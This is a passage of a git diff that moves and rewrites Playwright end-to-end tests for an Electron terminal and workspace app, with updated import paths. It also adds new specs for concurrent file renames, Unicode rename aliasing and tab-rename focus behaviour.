from '../../../src/shared/worktree/catalog/runtime-worktree-contracts' -import { activateWorkspaceByClick, sleepWorkspaceViaSidebar } from './slept-workspace-probe' -import { ensureTerminalVisible, waitForSessionReady } from './store' -import { splitActiveTerminalPane, waitForActiveTerminalManager } from './terminal' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { RuntimeClient } from '../../../../src/cli/runtime/client' +import type { RuntimeTerminalListResult } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import type { RuntimeWorktreeCreateResult } from '../../../../src/shared/worktree/catalog/runtime-worktree-contracts' +import { + activateWorkspaceByClick, + sleepWorkspaceViaSidebar +} from '../../workspaces/sleep/slept-workspace-probe' +import { ensureTerminalVisible, waitForSessionReady } from '../../desktop/renderer-probes/store' +import '../../terminal/input/terminal' +import { + splitActiveTerminalPane, + waitForActiveTerminalManager +} from '../../terminal/layout/terminal-pane-operations' import { waitForBoundPanes, type FolderWorkspaceSetup } from './terminal-layout-journeys' -import { bootstrapFirstLaunch, seededRepoPathOrSkip } from './terminal-restart-persistence' +import { + bootstrapFirstLaunch, + seededRepoPathOrSkip +} from '../../terminal/retention/terminal-restart-persistence' export async function addHostCreatedSplitWorktree( page: Page, diff --git a/tests/e2e/helpers/layout-owner-build.ts b/tests/e2e/layout/publication/layout-owner-build.ts similarity index 100% rename from tests/e2e/helpers/layout-owner-build.ts rename to tests/e2e/layout/publication/layout-owner-build.ts diff --git a/tests/e2e/helpers/main-terminal-layout.ts b/tests/e2e/layout/publication/main-terminal-layout.ts similarity index 88% rename from tests/e2e/helpers/main-terminal-layout.ts rename to tests/e2e/layout/publication/main-terminal-layout.ts index ff32b903ab3..6f01f30e70b 100644 --- a/tests/e2e/helpers/main-terminal-layout.ts +++ b/tests/e2e/layout/publication/main-terminal-layout.ts @@ -1,6 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { leafIdsInOrder } from './workspace-layout-oracle-model' -import { readWorkspaceLayoutStreamFrame } from '../../../src/shared/workspace-layout/published-layout/workspace-layout-stream-frames' +import { leafIdsInOrder } from '../workspace-oracle/workspace-layout-oracle-model' +import { readWorkspaceLayoutStreamFrame } from '../../../../src/shared/workspace-layout/published-layout/workspace-layout-stream-frames' /** Terminal tab id → its pane ids in tree order, in tab-bar order. */ export type TerminalLayout = [tabId: string, paneIds: string[]][] diff --git a/tests/e2e/helpers/paired-desktop-server-layout.ts b/tests/e2e/layout/publication/paired-desktop-server-layout.ts similarity index 81% rename from tests/e2e/helpers/paired-desktop-server-layout.ts rename to tests/e2e/layout/publication/paired-desktop-server-layout.ts index 34cd90996c5..cc982bd5ccd 100644 --- a/tests/e2e/helpers/paired-desktop-server-layout.ts +++ b/tests/e2e/layout/publication/paired-desktop-server-layout.ts @@ -1,16 +1,17 @@ // Compare the server’s authoritative workspace layout to the tree its paired desktop actually draws (H5b, H5c). import type { Page } from '@stablyai/playwright-test' -import { pairedRuntimeConnectionFromOffer } from '../../../src/shared/remote-runtime/pairing/paired-runtime-connection' -import { decodePairingOffer } from '../../../src/shared/remote-runtime/pairing/pairing' -import '../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' -import { subscribeRemoteRuntimeTransport } from '../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' -import { toWebTerminalSurfaceTabId } from '../../../src/shared/workspace-layout/terminal-surface-id' -import type { PublishedWorkspaceLayout } from '../../../src/shared/workspace-layout/published-layout/workspace-layout-published' -import { readWorkspaceLayoutStreamFrame } from '../../../src/shared/workspace-layout/published-layout/workspace-layout-stream-frames' -import { expect } from './orca-app' -import type { HeadlessPairedRuntimeHost } from './headless-paired-runtime-host' -import type { PairedElectronClient } from './paired-electron-client' -import { leafIdsInOrder } from './workspace-layout-oracle-model' +import { pairedRuntimeConnectionFromOffer } from '../../../../src/shared/remote-runtime/pairing/paired-runtime-connection' +import { decodePairingOffer } from '../../../../src/shared/remote-runtime/pairing/pairing' +import '../../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' +import { subscribeRemoteRuntimeTransport } from '../../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' +import type { PublishedWorkspaceLayout } from '../../../../src/shared/workspace-layout/published-layout/workspace-layout-published' +import { readWorkspaceLayoutStreamFrame } from '../../../../src/shared/workspace-layout/published-layout/workspace-layout-stream-frames' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import type { HeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import type { PairedElectronClient } from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { leafIdsInOrder } from '../workspace-oracle/workspace-layout-oracle-model' /** Groups in order, each tab in tab order with its pane ids in tree order. */ export type Tree = { id: string; tabs: { id: string; kind: string; panes: string[] }[] }[] diff --git a/tests/e2e/runtime-graph-publication-probe.ts b/tests/e2e/layout/publication/runtime-graph-publication-probe.ts similarity index 100% rename from tests/e2e/runtime-graph-publication-probe.ts rename to tests/e2e/layout/publication/runtime-graph-publication-probe.ts diff --git a/tests/e2e/helpers/terminal-layout-journeys.ts b/tests/e2e/layout/publication/terminal-layout-journeys.ts similarity index 91% rename from tests/e2e/helpers/terminal-layout-journeys.ts rename to tests/e2e/layout/publication/terminal-layout-journeys.ts index f378757c72d..84aebcc4de1 100644 --- a/tests/e2e/helpers/terminal-layout-journeys.ts +++ b/tests/e2e/layout/publication/terminal-layout-journeys.ts @@ -2,15 +2,16 @@ import { mkdtempSync, realpathSync, rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { focusActiveTerminalInput } from '../../terminal/input/terminal' import { countVisibleTerminalPanes, - focusActiveTerminalInput, waitForActiveTerminalManager, waitForPaneCount -} from './terminal' -import { ensureTerminalVisible, waitForSessionReady } from './store' -import { SORTABLE_TAB } from './terminal-tab-menu' +} from '../../terminal/layout/terminal-pane-operations' +import { ensureTerminalVisible, waitForSessionReady } from '../../desktop/renderer-probes/store' +import { SORTABLE_TAB } from '../../terminal/layout/terminal-tab-menu' export type FolderWorkspaceSetup = { worktreeId: string diff --git a/tests/e2e/helpers/layout-compat-baseline.ts b/tests/e2e/layout/version-compatibility/layout-compat-baseline.ts similarity index 88% rename from tests/e2e/helpers/layout-compat-baseline.ts rename to tests/e2e/layout/version-compatibility/layout-compat-baseline.ts index 21212aac364..fda2f3e81af 100644 --- a/tests/e2e/helpers/layout-compat-baseline.ts +++ b/tests/e2e/layout/version-compatibility/layout-compat-baseline.ts @@ -2,23 +2,27 @@ import { mkdirSync, readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import type { RuntimeClient } from '../../../src/cli/runtime/client' -import { decodePairingOffer } from '../../../src/shared/remote-runtime/pairing/pairing' -import { pairedRuntimeConnectionFromOffer } from '../../../src/shared/remote-runtime/pairing/paired-runtime-connection' -import '../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' -import { subscribeRemoteRuntimeTransport } from '../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' -import type { RuntimeMobileSessionTabsResult } from '../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import { isServeMintedPtySessionId } from '../../../src/shared/terminal/pty/lifecycle/pty-session-id-format' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import type { RuntimeClient } from '../../../../src/cli/runtime/client' +import { decodePairingOffer } from '../../../../src/shared/remote-runtime/pairing/pairing' +import { pairedRuntimeConnectionFromOffer } from '../../../../src/shared/remote-runtime/pairing/paired-runtime-connection' +import '../../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' +import { subscribeRemoteRuntimeTransport } from '../../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import { isServeMintedPtySessionId } from '../../../../src/shared/terminal/pty/lifecycle/pty-session-id-format' import type { RuntimeTerminalListResult, RuntimeTerminalRead -} from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { TerminalPaneLayoutNode } from '../../../src/shared/workspace-layout/terminal-tab-types' -import type { PublishedWorkspaceLayout } from '../../../src/shared/workspace-layout/published-layout/workspace-layout-published' -import { readWorkspaceLayoutStreamFrame } from '../../../src/shared/workspace-layout/published-layout/workspace-layout-stream-frames' +} from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import type { TerminalPaneLayoutNode } from '../../../../src/shared/workspace-layout/terminal-tab-types' +import type { PublishedWorkspaceLayout } from '../../../../src/shared/workspace-layout/published-layout/workspace-layout-published' +import { readWorkspaceLayoutStreamFrame } from '../../../../src/shared/workspace-layout/published-layout/workspace-layout-stream-frames' -const BASELINE_FILE = path.join(process.cwd(), 'tests', 'e2e', 'layout-compat-baselines.json') +const BASELINE_FILE = path.join( + process.cwd(), + 'tests/e2e/layout/version-compatibility/layout-compat-baselines.json' +) /** Also writes each observation here, one file per scenario and platform, to record a baseline. */ export const LAYOUT_COMPAT_REPORT_DIR_ENV = 'ORCA_LAYOUT_COMPAT_REPORT_DIR' diff --git a/tests/e2e/layout-compat-baselines.json b/tests/e2e/layout/version-compatibility/layout-compat-baselines.json similarity index 100% rename from tests/e2e/layout-compat-baselines.json rename to tests/e2e/layout/version-compatibility/layout-compat-baselines.json diff --git a/tests/e2e/floating-tab-rename-filesystem-alias.spec.ts b/tests/e2e/layout/window-tabs/floating-tab-rename-filesystem-alias.spec.ts similarity index 96% rename from tests/e2e/floating-tab-rename-filesystem-alias.spec.ts rename to tests/e2e/layout/window-tabs/floating-tab-rename-filesystem-alias.spec.ts index 1ba01d0a59c..8ec6746ead3 100644 --- a/tests/e2e/floating-tab-rename-filesystem-alias.spec.ts +++ b/tests/e2e/layout/window-tabs/floating-tab-rename-filesystem-alias.spec.ts @@ -1,5 +1,6 @@ import path from 'node:path' -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' test.describe('floating Markdown filesystem aliases', () => { test.skip(process.platform !== 'darwin', 'Requires native APFS alias behavior') diff --git a/tests/e2e/layout/window-tabs/floating-tab-rename.spec.ts b/tests/e2e/layout/window-tabs/floating-tab-rename.spec.ts new file mode 100644 index 00000000000..8828d9eafe9 --- /dev/null +++ b/tests/e2e/layout/window-tabs/floating-tab-rename.spec.ts @@ -0,0 +1,101 @@ +import path from 'node:path' + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import '../../desktop/renderer-probes/store' + +import '../../desktop/electron-fixtures/orca-restart' + +// Mirror FLOATING_TERMINAL_WORKTREE_ID without loading renderer/shared modules into Playwright. + +test('concurrent floating Markdown renames do not clobber the destination', async ({ + orcaPage +}) => { + const directory = await orcaPage.evaluate(() => window.api.app.getFloatingMarkdownDirectory()) + const suffix = Date.now().toString(36) + const firstPath = path.join(directory, `floating-first-${suffix}.md`) + const secondPath = path.join(directory, `floating-second-${suffix}.md`) + const destinationPath = path.join(directory, `floating-destination-${suffix}.md`) + + const result = await orcaPage.evaluate( + async ({ firstPath, secondPath, destinationPath }) => { + await window.api.fs.createFile({ filePath: firstPath }) + await window.api.fs.createFile({ filePath: secondPath }) + await window.api.fs.writeFile({ filePath: firstPath, content: 'first\n' }) + await window.api.fs.writeFile({ filePath: secondPath, content: 'second\n' }) + + const settled = await Promise.allSettled([ + window.api.fs.rename({ oldPath: firstPath, newPath: destinationPath }), + window.api.fs.rename({ oldPath: secondPath, newPath: destinationPath }) + ]) + const firstExists = await window.api.fs.pathExists({ filePath: firstPath }) + const secondExists = await window.api.fs.pathExists({ filePath: secondPath }) + return { + statuses: settled.map(({ status }) => status).sort(), + rejectionMessages: settled.flatMap((outcome) => + outcome.status === 'rejected' ? [String(outcome.reason)] : [] + ), + destinationContent: (await window.api.fs.readFile({ filePath: destinationPath })).content, + firstExists, + secondExists, + firstContent: firstExists + ? (await window.api.fs.readFile({ filePath: firstPath })).content + : null, + secondContent: secondExists + ? (await window.api.fs.readFile({ filePath: secondPath })).content + : null + } + }, + { firstPath, secondPath, destinationPath } + ) + + expect(result.statuses).toEqual(['fulfilled', 'rejected']) + expect(result.rejectionMessages[0]).toContain('already exists') + expect(Number(result.firstExists) + Number(result.secondExists)).toBe(1) + expect( + [result.destinationContent, result.firstContent ?? result.secondContent].toSorted() + ).toEqual(['first\n', 'second\n']) +}) + +test('Electron serializes native Unicode rename aliases', async ({ orcaPage }) => { + test.skip(process.platform !== 'darwin', 'Requires native Unicode aliasing') + const directory = await orcaPage.evaluate(() => window.api.app.getFloatingMarkdownDirectory()) + const suffix = Date.now().toString(36) + const firstPath = path.join(directory, `floating-unicode-first-${suffix}.md`) + const secondPath = path.join(directory, `floating-unicode-second-${suffix}.md`) + const sharpSDestination = path.join(directory, `floating-destination-${suffix}-straße.md`) + const expandedDestination = path.join(directory, `floating-destination-${suffix}-STRASSE.MD`) + + const result = await orcaPage.evaluate( + async ({ firstPath, secondPath, sharpSDestination, expandedDestination }) => { + await window.api.fs.createFile({ filePath: firstPath }) + await window.api.fs.createFile({ filePath: secondPath }) + await window.api.fs.writeFile({ filePath: firstPath, content: 'first\n' }) + await window.api.fs.writeFile({ filePath: secondPath, content: 'second\n' }) + + const settled = await Promise.allSettled([ + window.api.fs.rename({ oldPath: firstPath, newPath: sharpSDestination }), + window.api.fs.rename({ oldPath: secondPath, newPath: expandedDestination }) + ]) + const firstExists = await window.api.fs.pathExists({ filePath: firstPath }) + const secondExists = await window.api.fs.pathExists({ filePath: secondPath }) + return { + statuses: settled.map(({ status }) => status).sort(), + destinationContent: (await window.api.fs.readFile({ filePath: sharpSDestination })).content, + firstExists, + secondExists, + remainingContent: firstExists + ? (await window.api.fs.readFile({ filePath: firstPath })).content + : (await window.api.fs.readFile({ filePath: secondPath })).content + } + }, + { firstPath, secondPath, sharpSDestination, expandedDestination } + ) + + expect(result.statuses).toEqual(['fulfilled', 'rejected']) + expect(Number(result.firstExists) + Number(result.secondExists)).toBe(1) + expect([result.destinationContent, result.remainingContent].toSorted()).toEqual([ + 'first\n', + 'second\n' + ]) +}) diff --git a/tests/e2e/layout/window-tabs/floating-terminal-tab-rename-focus.spec.ts b/tests/e2e/layout/window-tabs/floating-terminal-tab-rename-focus.spec.ts new file mode 100644 index 00000000000..e69c943f9e1 --- /dev/null +++ b/tests/e2e/layout/window-tabs/floating-terminal-tab-rename-focus.spec.ts @@ -0,0 +1,146 @@ +import 'node:fs' + +import 'node:path' + +import type { Locator, Page } from '@stablyai/playwright-test' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' +import '../../terminal/input/terminal' + +const FLOATING_WORKTREE_ID = 'global-floating-terminal' +const OPEN_PANEL_SELECTOR = '[data-floating-terminal-panel][aria-hidden="false"]' + +async function openFloatingTerminals(page: Page): Promise<{ first: Locator; second: Locator }> { + await waitForSessionReady(page) + await waitForActiveWorktree(page) + const ids = await page.evaluate(async (worktreeId) => { + const store = window.__store! + await store.getState().updateSettings({ floatingTerminalEnabled: true }) + const first = store.getState().createTab(worktreeId, undefined, undefined, { activate: false }) + const second = store.getState().createTab(worktreeId, undefined, undefined, { activate: false }) + store.getState().setTabCustomTitle(first.id, 'Rename target') + store.getState().setTabCustomTitle(second.id, 'Other terminal') + store.setState({ floatingWorkspacePanelOpen: true }) + return [first.id, second.id] + }, FLOATING_WORKTREE_ID) + const panel = page.locator(OPEN_PANEL_SELECTOR) + await expect(panel).toBeVisible() + const first = panel.locator(`[data-testid="sortable-tab"][data-tab-id="${ids[0]}"]`) + const second = panel.locator(`[data-testid="sortable-tab"][data-tab-id="${ids[1]}"]`) + await first.click() + await expect(first).toHaveAttribute('data-active', 'true') + await expect( + panel.locator(`[data-terminal-tab-id="${ids[0]}"] .xterm-helper-textarea`) + ).toBeFocused() + return { first, second } +} + +async function beginRename( + page: Page, + tab: Locator, + entry: 'menu' | 'double-click' +): Promise { + if (entry === 'menu') { + await tab.click({ button: 'right' }) + await page.getByRole('menuitem', { name: /^Change Title(?:\s|$)/ }).click() + await expect(page.getByRole('menu')).toHaveCount(0) + } else { + await tab.dblclick() + } + const input = tab.locator('[data-tab-rename-input="true"]') + await expect(input).toBeFocused() + // Let activation's deferred focus finish while the rename input still owns focus. + await settleDeferredFocus(page) + return input +} + +async function settleDeferredFocus(page: Page): Promise { + await page.evaluate(async () => { + for (let frame = 0; frame < 6; frame += 1) { + await new Promise((resolve) => requestAnimationFrame(() => resolve())) + } + }) +} + +async function expectKeyboardOutput(page: Page, tab: Locator, marker: string): Promise { + const tabId = await tab.getAttribute('data-tab-id') + await expect( + page.locator(`[data-terminal-tab-id="${tabId}"] .xterm-helper-textarea:focus`) + ).toHaveCount(1) + await expect + .poll(() => + page.evaluate((id) => { + const pane = id ? window.__paneManagers?.get(id)?.getActivePane() : null + return Boolean(pane?.container.dataset.ptyId && pane.serializeAddon?.serialize().trim()) + }, tabId) + ) + .toBe(true) + await settleDeferredFocus(page) + await expect( + page.locator(`[data-terminal-tab-id="${tabId}"] .xterm-helper-textarea:focus`) + ).toHaveCount(1) + await page.keyboard.type(`echo ${marker}`) + await page.keyboard.press('Enter') + await expect + .poll(() => + page.evaluate((id) => { + const buffer = id + ? window.__paneManagers?.get(id)?.getActivePane()?.terminal.buffer.active + : null + if (!buffer) { + return [] + } + return Array.from({ length: buffer.length }, (_, index) => + buffer.getLine(index)?.translateToString(true).trim() + ) + }, tabId) + ) + .toContain(marker) +} + +test('blur commits without taking keyboard input back from another floating tab', async ({ + orcaPage +}) => { + const { first, second } = await openFloatingTerminals(orcaPage) + const input = await beginRename(orcaPage, first, 'double-click') + await input.fill('Blur committed') + await second.click() + await expect(input).toHaveCount(0) + await expect(first).toHaveAttribute('data-tab-title', 'Blur committed') + await expect(second).toHaveAttribute('data-active', 'true') + await expectKeyboardOutput(orcaPage, second, 'ORCA_RENAME_BLUR') +}) + +test('renaming an inactive floating tab does not activate or focus its terminal', async ({ + orcaPage +}) => { + const { first, second } = await openFloatingTerminals(orcaPage) + const input = await beginRename(orcaPage, second, 'menu') + await expect(first).toHaveAttribute('data-active', 'true') + await input.fill('Inactive renamed') + await orcaPage.keyboard.press('Enter') + await expect(second).toHaveAttribute('data-tab-title', 'Inactive renamed') + await settleDeferredFocus(orcaPage) + await expect(first).toHaveAttribute('data-active', 'true') + const secondId = await second.getAttribute('data-tab-id') + await expect( + orcaPage.locator(`[data-terminal-tab-id="${secondId}"] .xterm-helper-textarea:focus`) + ).toHaveCount(0) +}) + +test('blur preserves focus in the worktree search dialog', async ({ orcaPage }) => { + const { first } = await openFloatingTerminals(orcaPage) + const input = await beginRename(orcaPage, first, 'double-click') + await input.fill('Search committed') + await orcaPage + .getByRole('button', { name: 'Search worktrees and browser tabs', exact: true }) + .click() + await expect(input).toHaveCount(0) + await expect(first).toHaveAttribute('data-tab-title', 'Search committed') + const search = orcaPage.getByRole('dialog').locator('input').first() + await expect(search).toBeFocused() + await settleDeferredFocus(orcaPage) + await orcaPage.keyboard.type('search owns input') + await expect(search).toHaveValue('search owns input') +}) diff --git a/tests/e2e/floating-workspace-reopen-webgl-recovery.spec.ts b/tests/e2e/layout/window-tabs/floating-workspace-reopen-webgl-recovery.spec.ts similarity index 75% rename from tests/e2e/floating-workspace-reopen-webgl-recovery.spec.ts rename to tests/e2e/layout/window-tabs/floating-workspace-reopen-webgl-recovery.spec.ts index d0c311adf5b..6ca36970b4a 100644 --- a/tests/e2e/floating-workspace-reopen-webgl-recovery.spec.ts +++ b/tests/e2e/layout/window-tabs/floating-workspace-reopen-webgl-recovery.spec.ts @@ -1,7 +1,9 @@ import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { sendToTerminal } from './helpers/terminal' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' +import '../../terminal/input/terminal' +import { sendToTerminal } from '../../terminal/layout/terminal-pane-operations' // Mirror FLOATING_TERMINAL_WORKTREE_ID without loading renderer/shared modules into Playwright. const FLOATING_WORKTREE_ID = 'global-floating-terminal' @@ -14,10 +16,6 @@ const TOGGLE_EVENT = 'orca-toggle-floating-terminal' const SILENT_FOREGROUND_COMMAND = 'node -e "setInterval(() => {}, 1000)"\r' // Keep probe counters local; global Window augmentation would leak into every spec. -type RecoveryCounterWindow = typeof window & { - __floatingManagerResets?: number - __floatingRenderResumes?: number -} async function enableFloatingWorkspaceWithWebgl(page: Page): Promise { await page.evaluate((worktreeId) => { @@ -230,44 +228,6 @@ async function corruptFloatingAtlas(page: Page): Promise { ) } -async function instrumentRecoveryCounters(page: Page): Promise { - return page.evaluate((worktreeId) => { - const state = window.__store?.getState() - const tab = (state?.tabsByWorktree?.[worktreeId] ?? [])[0] - const manager = tab ? window.__paneManagers?.get(tab.id) : null - if (!manager?.resetWebglTextureAtlases || !manager.resumeRendering) { - return false - } - const counterWindow = window as RecoveryCounterWindow - counterWindow.__floatingManagerResets = 0 - counterWindow.__floatingRenderResumes = 0 - const originalReset = manager.resetWebglTextureAtlases.bind(manager) - manager.resetWebglTextureAtlases = () => { - counterWindow.__floatingManagerResets = (counterWindow.__floatingManagerResets ?? 0) + 1 - originalReset() - } - // Count resumeRendering recovery too because suspend/resume also rebuilds the atlas. - const originalResume = manager.resumeRendering.bind(manager) - manager.resumeRendering = () => { - counterWindow.__floatingRenderResumes = (counterWindow.__floatingRenderResumes ?? 0) + 1 - originalResume() - } - return true - }, FLOATING_WORKTREE_ID) -} - -async function readRecoveryCounters( - page: Page -): Promise<{ managerResets: number; renderResumes: number }> { - return page.evaluate(() => { - const counterWindow = window as RecoveryCounterWindow - return { - managerResets: counterWindow.__floatingManagerResets ?? 0, - renderResumes: counterWindow.__floatingRenderResumes ?? 0 - } - }) -} - async function screenshotFloatingTerminal(page: Page): Promise { const screen = page.locator(`${PANEL_SELECTOR} .xterm-screen`).first() await expect(screen).toBeVisible() @@ -335,56 +295,6 @@ async function setUpCorruptedFloatingTerminal( } test.describe('floating workspace reopen WebGL recovery @headful', () => { - test('reopening the floating workspace recovers a corrupted glyph atlas', async ({ - orcaPage - }, testInfo) => { - // Closing must suspend WebGL so reopen discards silently corrupted atlas state. - const shots = await setUpCorruptedFloatingTerminal(orcaPage, 'REOPEN') - test.skip(!shots, 'WebGL was not active or atlas corruption could not be injected') - const { baseline, corrupted } = shots! - expect(corrupted.equals(baseline)).toBe(false) - - expect(await instrumentRecoveryCounters(orcaPage)).toBe(true) - - await toggleFloatingPanel(orcaPage, false) - // Hidden floating terminals must retain no live WebGL context to corrupt. - const webglAttachedWhileClosed = await orcaPage.evaluate((worktreeId) => { - const state = window.__store?.getState() - const tab = (state?.tabsByWorktree?.[worktreeId] ?? [])[0] - const manager = tab ? window.__paneManagers?.get(tab.id) : null - const diagnostics = manager?.getRenderingDiagnostics?.() ?? [] - return diagnostics.some((diagnostic) => diagnostic.hasWebgl) - }, FLOATING_WORKTREE_ID) - expect(webglAttachedWhileClosed, 'closing the panel should suspend WebGL rendering').toBe(false) - - await toggleFloatingPanel(orcaPage, true) - await settleRecoveryWindows(orcaPage) - - const counters = await readRecoveryCounters(orcaPage) - const afterReopen = await screenshotFloatingTerminal(orcaPage) - await testInfo.attach('baseline', { - body: baseline, - contentType: 'image/png' - }) - await testInfo.attach('corrupted', { - body: corrupted, - contentType: 'image/png' - }) - await testInfo.attach('after-reopen', { - body: afterReopen, - contentType: 'image/png' - }) - console.log( - `[floating-reopen] managerResets=${counters.managerResets} renderResumes=${counters.renderResumes} healed=${afterReopen.equals(baseline)}` - ) - - expect( - counters.managerResets + counters.renderResumes, - 'reopen should reset or rebuild the corrupted atlas' - ).toBeGreaterThan(0) - expect(afterReopen.equals(baseline), 'reopened terminal should render clean glyphs').toBe(true) - }) - test('system resume recovers the corrupted atlas (harness control)', async ({ orcaPage, electronApp diff --git a/tests/e2e/floating-workspace-shared-glyph-atlas.spec.ts b/tests/e2e/layout/window-tabs/floating-workspace-shared-glyph-atlas.spec.ts similarity index 86% rename from tests/e2e/floating-workspace-shared-glyph-atlas.spec.ts rename to tests/e2e/layout/window-tabs/floating-workspace-shared-glyph-atlas.spec.ts index 54305c65a9a..b9478ffd92d 100644 --- a/tests/e2e/floating-workspace-shared-glyph-atlas.spec.ts +++ b/tests/e2e/layout/window-tabs/floating-workspace-shared-glyph-atlas.spec.ts @@ -1,8 +1,14 @@ import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { sendToTerminal, waitForActivePanePtyId } from './helpers/terminal' -import { compareTerminalScreenshots } from './terminal-screenshot-diff' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../../terminal/input/terminal' +import { sendToTerminal } from '../../terminal/layout/terminal-pane-operations' +import { compareTerminalScreenshots } from '../../terminal/rendering/terminal-screenshot-diff' // Mirror FLOATING_TERMINAL_WORKTREE_ID without loading renderer/shared modules into Playwright. const FLOATING_WORKTREE_ID = 'global-floating-terminal' @@ -72,12 +78,6 @@ async function ensureFloatingTabs(page: Page, count: number): Promise return tabIds } -async function activateFloatingTab(page: Page, tabId: string): Promise { - await page.evaluate((id) => { - window.__store?.getState().activateTab(id) - }, tabId) -} - async function toggleFloatingPanel(page: Page, open: boolean): Promise { await page.evaluate((eventName) => { window.dispatchEvent(new Event(eventName)) @@ -304,39 +304,6 @@ async function captureWorkspaceAfterTrigger( } test.describe('floating workspace shared glyph atlas @headful', () => { - test('switching floating workspace tabs keeps workspace terminal glyphs intact', async ({ - orcaPage - }, testInfo) => { - // Resuming a floating renderer clears shared atlas pages; sibling models must invalidate their old glyph coordinates. - const scenario = await setUpSharedAtlasScenario(orcaPage) - test.skip(!scenario, 'WebGL inactive or terminals do not share a glyph atlas') - const { baseline, floatingTabIds } = scenario! - - await toggleFloatingPanel(orcaPage, true) - await activateFloatingTab(orcaPage, floatingTabIds[1]) - // Require WebGL attachment to prove the tab switch actually resumed rendering. - expect( - await waitForWebglOnTab(orcaPage, floatingTabIds[1]), - 'switched-to floating tab should resume WebGL' - ).toBe(true) - await settleAtlasActivity(orcaPage) - await toggleFloatingPanel(orcaPage, false) - - const afterSwitch = await captureWorkspaceAfterTrigger(orcaPage, scenario!) - await testInfo.attach('baseline', { body: baseline, contentType: 'image/png' }) - await testInfo.attach('after-tab-switch', { body: afterSwitch, contentType: 'image/png' }) - // Allow antialiasing noise below 1.5%; stale-model blanking affects ~3% of pixels. - const afterSwitchDiff = compareTerminalScreenshots(baseline, afterSwitch) - console.log( - `[shared-atlas] tabSwitchIntact=${afterSwitchDiff.matches} diffRatio=${afterSwitchDiff.diffRatio.toFixed(5)} diffPixels=${afterSwitchDiff.diffPixels}` - ) - - expect( - afterSwitchDiff.matches, - 'workspace terminal must render identically after floating tab switching' - ).toBe(true) - }) - test('a sibling terminal clearing the shared atlas leaves workspace glyphs intact', async ({ orcaPage }, testInfo) => { diff --git a/tests/e2e/narrow-tab-group-drag-handle.spec.ts b/tests/e2e/layout/window-tabs/narrow-tab-group-drag-handle.spec.ts similarity index 59% rename from tests/e2e/narrow-tab-group-drag-handle.spec.ts rename to tests/e2e/layout/window-tabs/narrow-tab-group-drag-handle.spec.ts index c61c42a31b1..64c6381f182 100644 --- a/tests/e2e/narrow-tab-group-drag-handle.spec.ts +++ b/tests/e2e/layout/window-tabs/narrow-tab-group-drag-handle.spec.ts @@ -1,6 +1,11 @@ import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' type NarrowLayout = { leftGroupId: string; rightGroupId: string; rightTabId: string } @@ -44,44 +49,7 @@ async function buildThreeColumns( ) } -async function narrowRightColumns(page: Page, worktreeId: string): Promise { - await page.evaluate((id) => { - const state = window.__store?.getState() - // Root 80/20, then 45/55 inside it: the right column is about 98px wide, under 120px. - state?.setTabGroupSplitRatio(id, '', 0.8) - state?.setTabGroupSplitRatio(id, 'second', 0.45) - }, worktreeId) -} - /** Widest run of strip pixels where a press starts a tab drag: a tab, but not its close button or other inner controls. */ -async function draggableTabRun(page: Page, groupId: string): Promise<{ width: number; x: number }> { - return page.evaluate((id) => { - const strip = document.querySelector(`[data-tab-group-strip-id="${id}"]`) - if (!strip) { - return { width: 0, x: 0 } - } - const rect = strip.getBoundingClientRect() - const y = rect.top + rect.height / 2 - let best = { width: 0, x: 0 } - let runStart = 0 - let run = 0 - for (let x = Math.ceil(rect.left); x < rect.right; x++) { - const hit = document.elementFromPoint(x, y) - const tab = hit?.closest('[data-tab-id]') - const draggable = tab && strip.contains(tab) && !hit?.closest('button, input') - if (draggable) { - runStart = run === 0 ? x : runStart - run++ - if (run > best.width) 